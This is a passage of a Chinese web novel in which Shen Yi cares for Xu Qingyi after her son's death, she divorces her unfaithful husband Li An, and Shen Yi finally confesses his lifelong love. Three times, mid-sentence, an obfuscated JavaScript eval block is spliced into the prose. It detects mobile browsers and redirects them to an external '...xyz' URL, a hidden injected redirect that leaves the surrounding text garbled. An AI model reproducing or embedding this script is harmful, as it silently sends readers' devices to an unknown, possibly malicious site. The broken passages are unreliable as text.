沈翌叫来护士重新换药扎针,他坐在旁边的沙发上,时隔多年再一次感受到手足无措。 许安怡这时候回到了病房,她给沈翌买了饭,沈翌摇了摇头拒绝了。 外面的天已经泛出鱼肚白,他拜托许安怡帮忙看着徐清旖,他要去医院前台给斯敏文打电话。 过了没几个小时,徐老师和师母都赶到了医院,斯敏文也送来了他的电话和换洗衣服。 “徐小姐她……”斯敏文的声音很轻,沈翌无力地点点头,“临时叫你过来,麻烦你了,车费我来报。” “没事的,您多陪陪徐小姐,重要的文件我都给您送过来。” 下午许安怡也和他们告别,她说沈翌一定要多陪一陪徐清旖。 等到沈翌送她下楼准备拉开车门时,许安怡拦住他的手,“现在她很脆弱,你陪在她身边,别再让她见……李安?是这个名字吗?” “是。” 许安怡欲言又止,最后只是笑了笑,说:“就到这里吧。” 就送到这里吧。 就到这里结束吧。 沈翌说:“好。” 这句话有很多意思。 或许是就送到这里吧,又或许是就此分手。 没有人问到底是什么到这里结束,但他们心里都知道,沈翌不会再抛下徐清旖一个人了。 许安怡看着沈翌离开的背影,忽然想起来前几天沈翌和她并肩走在香港的弥敦道上。 那时候她想,如果能够一直这样走下去其实也不错。 但再也说不出口了,就像沈翌永远不会知道那天夜晚,自己在他的办公室里未能说出口的那句话一样。 就到这里结束了。 所有的一切都是。 46. 知心人 沈翌带着徐清旖去了香港,她的情绪很不好,行李是师母帮忙回去打包的。 李安每一天都等在酒店楼下,沈翌拨通了安保的电话,人被赶了出去。 徐老师和师母最开始想带女儿回南城,但是沈翌说:“我带她换一个地方散散心。” 沈翌将徐清旖接到了自己的公寓,他在两年前爷爷去世之后换了一间两居室,次卧被改成了书房。 这些年他一直没有购置自己的房产,反正无论在哪个地方工作,都是待不了多久就又要离开。 前两天他给斯敏文打电话,让她帮忙联系一下卖沙发床的商店,最后还是斯敏文跑了另一个地方给他订了一张宜家的折叠沙发床。 沈翌将主卧让给徐清旖,自己把折叠床临时搭在客厅里。 距离岁岁意外离世已经将近半个月,徐清旖每天说的话少得可怜。 沈翌买了一本很厚的食谱,在厨房里一边学着一边给她做饭。 上海分公司人事部的负责人将电话打了过来,他询问说为什么没有看见沈翌提交的材料。 沈翌在卧室门口看见徐清旖正坐在床边对着窗户发呆,他放下心回到厨房,“我可能去不了上海了,抱歉,希望没有给你们造成损失。” 负责人推辞道:“没事,本来也需要材料才能往上报。” “不过是发生了什么事吗?不久前您刚给我打了电话询问相关的事情,孟总监也来催了我好几次。” 沈翌顿了顿,“嗯。” 我要陪一个人。 我的爱人。他在心里说。 - 师母收拾行李的时候,没有将和岁岁有关的东西带过来。 所有有关于小孩的的相册、衣服、玩具等都被她带回了南城。 又过了两个多月,徐清旖终于稍微好了一点。 沈翌开始放心她一个人在家里,不再在她睡着后才去公司。 这段时间他请了太多假,公司里都在传,说沈总的心上人来了香港,两人住在一起,所以沈总最近会迟到。 他在茶水间听见有人在讨论时觉得很无奈,想着事情如果真的这么简单就会好很多。 李安利用自己的父亲,联系了很多关系才找到沈翌的电话和公司。 他给沈翌打电话,问他:“清旖现在在哪里?” 沈翌没回答,李安威胁他:“沈翌,我知道你现在混得很不错。可是你知道,一个小小的副总,如果我父亲想要搞垮你,还是很容易的。” 沈翌嗤笑一声,他靠在椅背上,开口说:“李安,你怎么永远都是这个样子,除了你那位资本家父亲,你还剩下什么?” “那又怎样!”李安的情绪很激动,“你什么也没有,沈翌,你没有父母,没有家人,你简直可怜透顶!” 沈翌沉默了一瞬间,“你最大的错就是永远这么自大任性。” “我自大?”李安说:“清旖是我的合法妻子,她只是暂时不原谅我。” “我们还会有孩子的。” 沈翌挂断电话,早晨出门的时候,徐清旖说想要吃糖火烧,他要去超市买面粉。 徐老师和师母等到放寒假会来香港看女儿,他们给沈翌打电话万分感谢,提到许安怡又说“不好意思”。 沈翌没有解释自己和她的关系,听说许安怡回家后解释的是两人和平分手,沈翌便顺着她的回答说。 晚饭时徐清旖和沈翌提起想要回一趟黎江市。 沈翌闻言看向她,“有什么事吗?” “去看一看岁岁,我还没去看过他,不知道他会不会怪我。” 徐清旖的眼睛又泛起一圈红,她沉沉地呼出一口气,“别担心我啦,会没事的。” “我陪你去。” “太麻烦你了。”徐清旖说:“前几天你打电话说的话我都听见了。” “你没去上海是因为我对吗?” 沈翌想要摇头,看见徐清旖的眼睛却还是忍住不能说谎,于是点点头,又补充道:“本来也不一定。” “感觉我和你认识三十年了吧,好像我一直都在拖累你。”徐清旖说:“所以让我一个人回去吧,我还有很多事要和李安说。” 沈翌不再多言,他沉默着喝光了最后一口白粥,“明天我帮你订票。” - 李安辞去了公司的工作,或者说是被公司开除了。 他订了一箱又一箱的啤酒,每天倒在家里喝得酩酊大醉。 徐清旖的父母向来看不起他,他知道的。 他们只喜欢沈翌,他们觉得他有钱、事业成功,对,他李安是没有什么钱。 他被家庭压制得死死的,即便到现在事情过去了两个多月,他仍旧不敢告诉自己的父亲和母亲。 莉莉安肚子里的孩子已经快七个月了,她穿着很宽大的孕妇裙。 她第一次过来时李安没给他开门,于是她叫了开锁的人,然后给自己配了一把钥匙。 她想带李安回自己家住,但李安不同意,还骂了很难听的话,所以她只能每天过来给他清理垃圾,然后做一顿饭,防止他把自己饿死在这里。 屋内有一股很刺鼻的味道,酒味和烟味混杂在一起,莉莉安有几秒的不适应,但最后还是咬咬牙忍了下去。 她叫李安的英文名,把宿醉的男人扶到沙发上休息,之后又轻车熟路地走到厨房给李安煮醒酒汤、做晚饭。 李安是被敲门声吵醒的,他抬头看了一眼,厨房门紧闭着,莉莉安大概没听见。 他用力敲了敲自己发昏的太阳穴,摇摇晃晃地站起来去开门。 门开的一瞬间,徐清旖不可控地皱了皱眉。 李安惊讶地揉了揉眼睛,他以为自己醉酒出现了幻觉,确定完以后想伸出手拥抱徐清旖,“旖,你回来了!” 徐清旖冷冷地瞥了他一眼,李安于是收回手。 他发现徐清旖瘦了好多,在心底骂了一句沈翌,责备他没有好好照顾自己的清旖,下一秒看见徐清旖已经走进门坐在了沙发上。 “旖,我们……”他跟过去,一句话甚至还没有说完,就看见徐清旖正盯着紧锁的厨房门看。 李安心中警铃大作,如果他猜得没错,现在在厨房里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389921|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该是莉莉安。 可还没等他反应过来,徐清旖已经站起身朝厨房走去。 门被推开,里面站着正挺着大肚子围着围裙做饭的莉莉安。 纵使徐清旖已经做好了准备,也从未想过这样的场景。 一时间,绝望、恶心、悲恸等等各种情绪全部涌上心头。 原来这个世界可以有这么多恶意。 徐清旖坐在沙发上,她刚告诉李安出去买几瓶水回来。 李安摸不准她是否相信了自己所说的话,他说莉莉安只是来照顾自己的,她肚子里的孩子也不是自己的。 所以他捏着钥匙,一步三回头地慢吞吞离开。 等到关门声响过,徐清旖才抬起头看向对面坐着的莉莉安。 怀孕是一件很痛苦的事,徐清旖看见对面这位曾经很美丽动人的姑娘,她的脸上冒了痘,疲惫之色也难以掩藏。 她想起自己怀岁岁的那一年,每一日都会腰疼,在床上一躺就是数个小时,而现在她还要来帮李安做饭,想必一定是吃了很多苦。 但徐清旖并不同情她,她问莉莉安:“是他的孩子对吧?” 莉莉安挑了挑眉,她本以为这个女人已经相信了刚刚李安的托辞,忽然发现她这么聪明便也不再隐瞒,“是的。” “什么时候的事?” “忘记了。” 徐清旖轻轻点头,“知道了,你走吧。” 莉莉安扶着肚子慢慢站了起来,走到玄关处的时候,她忽然停下来对徐清旖说:“你的孩子去世的那一天,我们在一起。” 李安回来时发现屋内只剩下徐清旖一个人,他讨好地递过去一瓶水,“旖,谢谢你愿意回来。” 徐清旖转过头盯着他,她的双眼猩红,李安伸手想要碰一碰她的眼睛,却被徐清旖往后一退堪堪躲过。 他听见她说:“你是个杀人犯。” 她的眼泪簌簌地流下来,李安慌张地抱住她,像是抱住一件单薄的衣服。 徐清旖在诅咒他,诅咒他午夜梦回的时候永远不能忘记那个被他亲手杀害的孩子。 “旖,我不是故意的,我没想到……” 李安埋在徐清旖的肩头哭泣,像是小时候被同学推进阴森的古堡里关起来那样,无助又可怜。 “我们还会有孩子的,我们的孩子还叫岁岁好不好?” 徐清旖觉得自己仿佛听见了一个天大的笑话,这种又心痛又想笑的情绪让她几乎喘不过气来,她的声音不断地颤抖,断断续续地喊出声来。 “李安,你还有孩子!” “你的另一个孩子再过几个月又会来到这个世界上,我呢?我的岁岁呢?” 徐清旖无力地伸手去推他,却被李安抓住手。 他的声音也哽咽着。 “那时候我是让她把孩子打掉,我不知道她想要把孩子生下来,对不起,旖,我真的不知道我应该怎么办了。你教教我好不好,我到底要怎样做,你才能原谅我?” 徐清旖闭了闭眼睛,像是妥协一般。 “放过我吧,李安,我们离婚吧。” 47. 驼铃声 莉莉安是从送过李安回来一次之后,才开始注意他的。 那时徐清旖的孩子还没有出生,她大着肚子,很礼貌地问自己能不能帮她把李安扶进去。 离开之前,她瞥见了床头柜上的那张婚纱照,如果他没有记错那是在伦敦市最古老的教堂里举行的婚礼的照片。 莉莉安从来没想过李安能够与人在那样的教堂里成婚,于是她好奇地打听了这件事,却不想得到的是徐清旖肯定的回答。 后来莉莉安通过人事部的同事知道了李安的全名,经过搜索才知道他名下竟然还有一个香水品牌,那个在英国赫赫有名的高奢品牌的创始人竟然就是李安的父亲。 不道德也好,做错了也好,木已成舟,谁也无力回天。 走到了自己家的小区楼下,莉莉安抬头看了看这片乌云满布的天空,恐怕一场大的暴雨即将来临。 那个孩子的去世原本就是个意外。 莉莉安摸了摸自己已经很大的肚子,这样想。 - 沈翌等徐清旖的电话等了两天,电话里她的声音很疲惫,“可能还要半个多月,出了点问题。” 李安没办法阻止徐清旖,她以死相逼想要离婚,李安只能一边答应她,一边寄希望于父亲还愿意帮助自己。 他想办法拖延着离婚协议的撰写,最后徐清旖实在抵不住,提出净身出户。 李安沉默了很久,最后说:“不用了,全部给她。” 但其实他们名下的财产少得可怜。 “需要我帮忙吗?”沈翌问。 “不麻烦了。”徐清旖顿了顿,“去上海的事,你和你们公司解释了吗?” “不去了。” 解释也没什么用,这个机会被送到了沈翌面前,是他主动选择放弃的,没有人会为他自己的过错买单。 “你说的过段时间,是什么意思?”沈翌问她:“他还是没同意吗?” 徐清旖轻轻“嗯”了一声,“同意了,在拟离婚协议。” 沈翌很缓慢地眨了一下眼睛,然后问:“那你现在住在哪里?” “订了家酒店。” 徐清旖用手轻轻扯了扯电话线,她叫他的名字,“我前两天去看了岁岁,我觉得当初考虑不够妥当,应该把他葬在南城。” 沈翌抿抿唇,说了一句抱歉,“怪我。” 徐清旖摇摇头,眼睛里的水雾好似又要上来。 她深吸一口气,对沈翌说:“我早就想通了,当初感觉到李安出轨我就应该离婚的。岁岁的离开,我也应该承担责任。” “清旖,你没有错。” “等到这一切都结束了,我想换个地方生活一段时间。” 徐清旖把手搭在膝盖上发呆。 “想去哪里?” “找一个没有认识的人的地方。” “可以。医生说散散心对你的情绪有好处。”沈翌说:“去哈尔滨吧,不是一直想看雪?要我陪你去吗?我可以请假。” “协议签了以后我想先回去一趟,我爸妈肯定很担心我。” 徐清旖打断他的话,眼神懒散地盯着眼前的地板。 “沈翌,我现在已经不想看雪了。” “我讨厌白色。”她说。 - 徐清旖后来在南城遇见了许安怡,准确来说是对方特意上门来拜访她。 她们客套地寒暄,彼此心里却都藏着心事。 等到实在没有话说的时候,共同的熟人又成了唯一的话题。 许安怡说沈翌很厉害,一句话听起来干瘪瘪,公式化得要命。 徐清旖听不懂她说的那几个奖项,这不是她的知识范围。 “他一个人待了太久,以后多麻烦你照顾他了。” 许安怡很奇怪地看了她一眼,然后莫名其妙地说了一句:“你知道吗,沈翌是我见过的最胆小的人。” 她不过多解释,徐清旖心里疑惑,但又不知道从何说起。 吃饭时母亲是负责说话的那个人。 徐清旖吃得很安静,听见电视里重播的小品提到了2008年即将举办北京奥运会。 “我记得沈翌很喜欢北京。”徐清旖食不知味地讲:“奥运也在北京……” 徐清旖的话还没说完,感觉到母亲轻轻用手碰了碰自己。 许安怡看见她们的动作忍俊不禁,她问徐清旖:“我和他分手了,沈翌没告诉你吗?” “分手了?”徐清旖愣了愣,“什么时候?” 许安怡朝她笑笑。 “啊,不好意思。”徐清旖低了低头,她有些慌张,“我……我不太知道。” “你不知道的事情有很多。”许安怡说:“如果你愿意回头看一看他,你就会知道。” - 徐清旖一个人在青海省待了差不多半年,她在那里长租了一间小旅店的房间。 最开始的打算其实是只住一个月,2003年年初,一场突如其来的疫情将全国各地很多人都困在了原地。 也就是在这半年多的时间里,她失去了和外界的全部联系。 在一个陌生的地方,和一群陌生的人像老朋友一样闲聊、生活。 七月份她收到南城寄来的信,父亲在信里说了很多。 他说一中初三学生的中考受到了疫情的影响,本校区首次拥有了考场。 说所有的老师和学生都被封在了学校,隔壁邻居孙老师的父亲来送鸡蛋都被拦在了校门外; 说今年没能去给岁岁扫墓,广东有封控条例,他们准备等过段时间再过去; 他还说不知道徐清旖现在还在不在这个地址,她太久没给家里打电话,他们很担心她。 还提到了沈翌,父亲说香港是全中国疫情最严重的地区之一,沈翌捐了一大笔钱给政府。说他这两年很辛苦,香港经济受创,他的压力很大,但每周都会定时给他们打电话。 最后父亲写道:“清旖,回来吧,我和你妈妈都很想念你。你是岁岁的妈妈,也是我们的女儿。” 徐清旖坐在屋子里一边读信一边哭泣,她几乎能够想象出头发花白的父亲坐在台灯下,鼻梁上挂着他那副厚厚的老花镜,一笔一画地写下这封信的样子。 其实不是她不愿意给家里打电话,她住的地方太过偏僻,小镇里根本找不到一部电话,即使是寄信也需要步行数小时到最近的县城。 去年年底她从南城坐火车来到这里,那时候她颓废得要命。 她所在旅店的老板是一个很明媚的女孩,名字叫做康珠,年纪应该在二十岁左右。 两人熟识以后,女孩教她骑马,不小心到了海拔更高一点的地方,徐清旖又开始高反,然后被康珠牵着马带回去。 康珠还会和她讲自己的故事,十岁时她父母双亡,一个人靠着这家又破又小的旅店撑到了现在。 徐清旖教她学习汉字,鼓励她出去看一看这个世界。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389922|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “两年前,也有一个人这样对我说。”康珠把手撑在下颌,长期的日晒让她的脸上长出了些雀斑,看起来健康而又美丽。 她叫徐清旖“姐姐”,她说她看过徐清旖的身份证,“今年你就要33岁了吧?” “十月份,十月份就三十三岁了。”徐清旖双手向后,撑在坐着的草坪上,听见康珠说:“今年十二月我才满19岁。” 徐清旖微微诧异,没想到康珠的年纪竟然这么小。 “我们这个小镇上的人,没几个能走出去的,外面的世界太大了,容不下我。” 康珠仰面躺在草地上,她的双手枕在头下,“每一个独自来这里旅游的人都有心事,生活顺遂的人不会过来的。” 她嘴里留出一大半的狗尾巴草一摇一摇的,她笑着说:“虽然我不知道你来这里的心事是什么,但我很喜欢你。就是觉得你很厉害的那种喜欢,我们家只剩下我一个人的时候我都坚持下来了,所以没什么大不了的。等到这该死的病过去了,你也快走吧。” 九月份徐清旖和康珠告别,她很用力地拥抱这个小她十多岁的女孩子,“你一定会等到那个人的。” 康珠的手僵硬了一瞬间,觉得徐清旖简直聪明得过分。 将她送上县城的大巴车,她一个人骑着那匹老马往家里晃。 马背上的驼铃声清脆悠远,她的身边是无边的旷野。 徐清旖猜的没错,她没讲出的故事就是关于那个“曾经也对我说过这句话”的人的,但没必要讲了。 每个人都有自己的苦难和经历,她们都是。 - 回到家以后,徐清旖给沈翌打电话。 沈翌在疫情最开始就向总部提交过申请,在无数次被拒绝以后,三月份中旬总部才终于暂时同意了他暂停香港分部对外合作的提议。 那时候的疫情还没有后来那么严重,沈翌是作为第一责任人进行申请的。 现在他为公司挽回了一笔巨大的损失,总部想要给他升职并调离香港。 “那你想好了吗?”徐清旖问。 他们默契地没有聊起徐清旖消失的这一年,像是一个既定的规则一样,所有人都不约而同地避开某些事。 “我没有拒绝的选项。” 沈翌好像给自己点了一支烟,徐清旖听见火机清脆的一声响,她问:“所以你又要出国了吗?” “清旖,你有没有想好去哪里?”沈翌没有回答她的话。 “我向北京一家杂志社递了面试的资料。”徐清旖说:“你还没有回答我的问题。” “我想辞职。”沈翌沉沉地吐出一口气,“我想休息一段时间。” “一个人一直往前实在是太累了,我想停下来。” 沈翌接着说:“你去北京吧,你说过想去那里,再过几年还能去看奥运会。” 徐清旖闷着声音“嗯”了一声,半晌才开口:“那你呢?” “很早之前,安怡问过我一个问题,她说既然我那么喜欢数学,为什么不愿意继续读下去?” 沈翌笑了一声,“以后的话,读喜欢的书,然后再回国找喜欢的工作。” 沈翌看向远处的海岸,他正站在书房的窗边,这里可以望见那片蔚蓝色的海,沉静又温柔。 “所以我想再出去走一走。”他说:“本来我都是一个人。” “趁着还能走,脑子也还没有坏掉,就再多做些热爱的事吧。” 48. 敬未来 徐清旖在十一月正式收到了北京那家出版社的入职通知,临走之前她又去了一次黎江市。 这座城市带走了她生命中的太多,数十年的青春岁月,生命中所有重要的人来了又走…… 她将一束花放在岁岁的墓碑前,像是从前很多次那样轻轻用手抚摸照片上他的脸,好像他还是那个生动爱笑的小孩。 她已经无从知道后来的李安怎么样了,他和莉莉安又会发生什么故事? 这些对于徐清旖来说已经不重要了。 当年她在似是而非的情况下同意了李安的追求,很快又步入了婚姻的殿堂。 最开始怀疑李安出轨的时候,她就因为所谓的想要给孩子完整的家,一次又一次地选择原谅他。 所以造成最后这个结果的,从来就不止是李安一个人的错,她自己的懦弱也根本不能逃离责任。 离开时沈翌特意过来送她。 从伦敦调回香港的这五年多时间里,沈翌开着车走过太多次那条跨海大桥,每一次都带着不同情绪奔赴徐清旖的身边。 “这一次轮到你送我了。” 他们坐在机场的椅子上,沈翌闻言笑了笑,“对啊,从前你送我离开,这一次走的人却是你了。” “已经决定好要辞职了吗?” 沈翌已经升职,在这家子公司遍布了全世界各大洲的科技公司里,沈翌是其中中国香港特别行政区分公司的最高执行人。 更何况他才只有33岁,听起来是那么令人艳羡。 沈翌点点头,“决定了,等到offer下来我就递交辞呈。” “数学吗?还是斯坦福?” “数学。”沈翌说:“多伦多。” “我以为你还是会去旧金山,毕竟你在那里待过。”徐清旖感叹,“加拿大啊,还是东边,太远了。为什么去那么远?” 沈翌看了看她,身后巨大的落地窗外飞过一架飞机。 他在轰鸣声中开口,声音很轻,徐清旖几乎要听不清。 他说:“因为那里有五大湖。” 沈翌可以另外在城外靠近安大略湖的地方租一间小木屋,他可以养一只狗和一只猫,在傍晚时分牵着它们出去散步。 他从没有见过加拿大的黄昏,但他觉得那应该和旧金山看起来差不多。 等到夜晚时一个人入睡,小猫会趴在自己的被子上,小狗会睡在自己的床边。 好像和这么多年以来都一样,又好像有哪里不太一样。 大概是他多了两个陪伴。 - 2004年四月,沈翌递出辞呈后的最后一份工作,是要去北京与奥委会谈一项数字影像产品服务项目。 这是沈翌日程内的最后一项任务。 斯敏文情绪很低地整理资料,她已经跟着沈翌工作了好几年。 从最开始的总经理三秘到副总经理二秘,现在成为一秘,沈翌是他见过最好的上司。 沈翌感受得到她情绪不高,从他告诉斯敏文自己已经辞职以后,对方看着他行程表上越来越多的空白,话却越来越少。 她和她的丈夫请沈翌吃饭,斯敏文表达自己的不舍,问他怎么坚持了这么多年却忽然放弃了。 沈翌说:“因为有更重要的事了。” 他叫斯敏文的丈夫为小陈,但其实对方年纪比他小不了几岁。 “她不是跟着我时间最久的秘书,但是她是我见过最认真工作的人之一。有些话我说出来可能不太合适,但我仅仅是以她朋友的身份去说,如果未来你们有意见不统一的时候,你要多多体谅她。” “她年纪不大就来到这里,人生地不熟,为了你又一个人留在这儿,需要很大的勇气。” 沈翌21岁时遇见过一个女孩子,她小他三岁,后来为了自己远渡重洋。 那时候沈翌很年轻,很多事都欠缺考量。 如果当时他再聪明一点,在刘局长提出送女儿去旧金山留学前就看出来她对自己的感情,或者拒绝她的舞会邀请,又或者是在告诉她自己有喜欢的人时再坚定一点…… 沈翌觉得自己愧对她太多。 前段时间回黎江看万师傅,万师傅说语潇似乎已经有了孩子,她应该生活得很幸福。 沈翌这才后知后觉地想起来,这些年里斯敏文总让他觉得很熟悉的原因,正是她和刘语潇太像了。 年轻开朗,活泼生动。 - 沈翌和项目组的成员在月初坐上了飞往北京的飞机。 他无数次来过这座城市,第一次是高中来参加数学竞赛匆匆一眼。 后来工作以后,不可避免地常常来到首都,但每一次都慌慌张张,沈翌从来没有好好看过这座城市。 徐清旖等在机场里,手里举着一块塑料板,她拜托出版社负责美工的同事帮她画了夸张的边框,上面写着“欢迎沈翌来到北京!” “竟然还升级了。”沈翌笑着接过徐清旖递过来的一大束满天星。 “时代在进步嘛!”徐清旖说完又和他的同事们打招呼,“打车吗?” 沈翌的同事有四个人,加上他们一共六个人,徐清旖买的小车根本坐不下。 所以她想着再叫一辆车,却听见沈翌说:“不用了,公司派了人来接。” “那我的车不就白开了?” “我坐你的车。”沈翌笑着对身后的同事说:“酒店的地址给我一份,你们先走。” 徐清旖把他的行李都塞进了后座,“这是你的最后一个项目了?” 沈翌坐在副驾驶,这车太小,他的腿绻缩得有些难受,他“嗯”了一声,徐清旖看他这副样子有点想笑。 “忍一忍,你们住的酒店太远了,还要一会儿。” 沈翌也有点想笑,听见徐清旖问:“项目结束后要不要留下来玩几天?” “好啊,我还没好好逛过北京。” “那我可得好好研究一下,我都没怎么出去过。” 等到酒店以后,沈翌的同事们都已经去吃饭了。 他们以为徐清旖是沈翌的妻子,打了个电话笑嘻嘻地说他们提前走了。 于是没有办法,徐清旖又带他出去吃饭。 “你以前比赛是在哪里?” “忘了,只记得是一所中学。”沈翌说:“出了火车站直接一车把我们拉走了,我也记不清了。” “那我们过几天去清华看看吧,你以前不是想考北京吗?” 徐清旖说话时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389923|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿了顿,然后疑惑地看了沈翌一眼,“对啊,你最开始是想考北京的吧?” 沈翌吃了一口饭,笑了笑没说话。 徐清旖问:“当年你为什么非要去北京?” 沈翌抿抿唇,神色不明地说:“我们过几天再聊这个话题好吗?” 沈翌所在公司有在奥运会中相关的合作经验,但是现在是他们分部第一次承接这种项目。 计划书中的亮点就在于数字化的新尝试,他们公司早已经开始转型,力求研发出适应新时代的全新成像技术。 沈翌为这一次交涉准备了两年,临近会议开始的前一天夜里他还在不断地翻阅那些材料。 虽说当年是偶然进入这个行业,但后来也是真的很喜欢成像技术。 从最初在万师傅的店里捣鼓老旧相机开始,慢慢的他自己逐渐站在了这个行业最顶尖的团队里。 沈翌觉得只要可以利用数字成像让全世界看见中国、看见有史以来最伟大的一届奥运会,那么他和他的团队这么多年来的努力就没有白费。 如果喜欢什么,就愿意一直坚持下去。 即使到了最后一刻,也永远不会说放弃。 沈翌半生以来一直如此。 - 六月上旬,沈翌正式结束在北京的工作。 他给公司致电,说会在两天后回到香港正式办理离职手续。 徐清旖来接他去吃饭,沈翌收拾行李准备换一个距离她近一点的酒店。 “有两个老熟人。”徐清旖说。 “老熟人?” “猜猜是谁。”她眨眨眼睛。 等到了饭店,看见肖珩和林知一坐在包厢里,沈翌才想起来。 他和肖珩打招呼,又叫林知一:“林小姐”。 “现在是林老师了。”徐清旖笑着说。 “林老师?” “嗯。”林知一拢了拢自己的长发,她说:“现在在带托福班。” 肖珩说:“好久不见了,好多年了吧?” “十几年了吧。”沈翌说:“当初见面的时候,我还没有出国。” “是啊,一转眼就好多年过去了。” 那一年在拉萨,还要多亏肖珩,否则沈翌对于高反是没有太多的常识的。 “我和沈先生也很久没见了。” 说完这句话,大家都安静了几秒。 林知一反应过来,张了张嘴,听见徐清旖说:“没事的,已经过去很久了。” “快吃快吃。”她指了指面前的饭菜。 “你现在在哪里工作?”肖珩问沈翌。 “在香港。你调来了北京?” “如你所见。”肖珩摊摊手笑了笑,“你现在……和当年有些不一样。” “是吗?” 和那年在黎江市机场第一次见到的沈翌不同,面前的这个人更自信,虽然眉眼间的疲惫与成熟仍未变,但总归是不一样的。 沈翌和他碰杯,“敬逝去的岁月。” “敬青春?”肖珩说。 另外两人听见他们的话,也端起杯子。 林知一问:“我们敬什么?” “敬未来。”徐清旖把杯檐凑上去,“敬我们的未来。” 49. 晨昏线 徐清旖和林知一喝的是饮料,沈翌的酒量也不算太差,到最后先叫停的人竟然是肖珩。 “肖总,您在北京待的时间久一点,我这两天带沈翌出去逛逛,推荐几个地方呗。” 肖珩想了想,“要不要去古城建筑博物馆看看?” “或者逛逛有特色的,胡同巷子之类的,听听相声。还有放风筝、糊灯笼、滚铁环这些应该都可以找到地方。” 肖珩右手轻轻扣了扣桌角,“还可以去尝尝豆汁儿。” 徐清旖和林知一对视一眼,沈翌不明所以地看向她们。 “怎么了?” “没什么没什么。”徐清旖憋着笑,“我们只是觉得你应该会很喜欢,明天带你去尝一尝。” 肖珩也勾着嘴笑,“让徐清旖带你去。” “还有还有,你们再帮我想想。” 徐清旖喝了一口水,“我就想着带他去清华转转,其他地方我实在不知道了,我来北京以后也没出去玩过。” “这个嘛……” “故宫肯定要去啊,紫禁城呢。”林知一说:“不过人挤人,我和肖珩去的时候差点没被热化了。” “北海公园、景山公园,可惜看不到著名的香山红叶了。” 徐清旖只沉默了近十秒,然后一脸无语地抬起头对肖珩说:“你们俩说这么多地儿,都不在一个区吧?” “这不看你有小车吗?” 于是大家都笑出声来。 - 沈翌的时间很紧张,因为没有正式办理离职,所以还算作是在职期间。 与肖珩他们吃过饭后的第三天下午他就需要赶回香港。 “还说陪你过生日的。”徐清旖一边走一边抱怨时间太短,“你什么时候去加拿大?” “八月初。”沈翌笑了笑,“那边还有很多事要处理,我还想租一套房子。” “不住学校吗?” “另外再租一套吧,想养两只宠物。” “真的吗?”徐清旖的眼睛亮了亮,“养什么?” “一只猫,一只狗?”沈翌说:“所以自己住方便一点。” “而且万一遇到年轻的室友,怕人家嫌弃我年纪大了。” “说什么呢,我和你同岁,我可不老。” 徐清旖捂住耳朵。 “好啦我知道了。”沈翌道:“我过几天给徐老师和师母打个电话,就不回去看他们了,等到春节你记得回家,只有他们两位老人。” “知道了。”徐清旖点点头,“哎,沈翌,你有没有发现,现在又是我送你了。” “嗯,发现了。” 沈翌将行李箱的拉杆收起来,转了个方向放在面前,朝她伸出手。 “抱一下吧,下一次见面就不知道什么时候了。” 徐清旖沉默着靠近他的怀抱,几秒后,沈翌往后退了一步。 “那天你问我,最开始是不是想考北京的大学。” “嗯。”徐清旖轻声回答。 沈翌看向她,黝黑的眼眸中盛了太多复杂的情绪。 “很早之前我就告诉你了。”沈翌的声音还在耳边传来。 “我的人生中有很多次重要的选择,我自己独立完成的却屈指可数。那年我从南城去黎江工作是因为你,我能够顺利通过面试,很大一部分原因也是因为你帮我找来的那一封举荐信。” 徐清旖张了张嘴,她几乎发不出声音。 沈翌看见她的睫毛微微颤抖,他继续说:“你去纽约的那天,语潇要向我告白那件事,我并不知情。可是清旖,你甚至连问都没问我。” 沈翌想了很久,他不希望给徐清旖带来任何压迫感,所以他尽自己最大的努力,以最平淡的语气去讲述这么多年的默默守护。 “你在伦敦结婚的前一天,我们也不是正巧遇见的。我们去格拉斯哥旅行的时候,你说你想看看海德公园,可当时我们已经出城了,你还记得吗?” “所以那时候,你没有走对吗?我在……” 徐清旖的声音哽咽,有眼泪掉了下来,“我在教堂里结婚的时候,你没有走对吗?” 沈翌摇摇头,他没有说实话,“我在美国。” “什么时候?” 沈翌伸出手擦掉她脸上的泪,知道她问的是自己是什么时候喜欢她的,话在口边斟酌了许久。 “我一开始就想考北京,十一岁那年女排夺冠,我们在院子里听收音机转播,你问我以后中国会在哪个城市举行奥运会,我说北京。” 徐清旖再也忍不住情绪,她已经记起。 那时她和沈翌约好以后一起去北京读大学、工作、看奥运,她一直以为被抛在身后的那个人是她自己,却从来没有想过沈翌一个人守在她的身后默默等了多久。 所以那时候许安怡说:“如果你愿意回头看一看他。” “高考那一年,我的名额被别人拿走,又恰巧遇上爷爷犯病入院,所以我留在了南城。” 沈翌说:“从来就没有另一个人。” 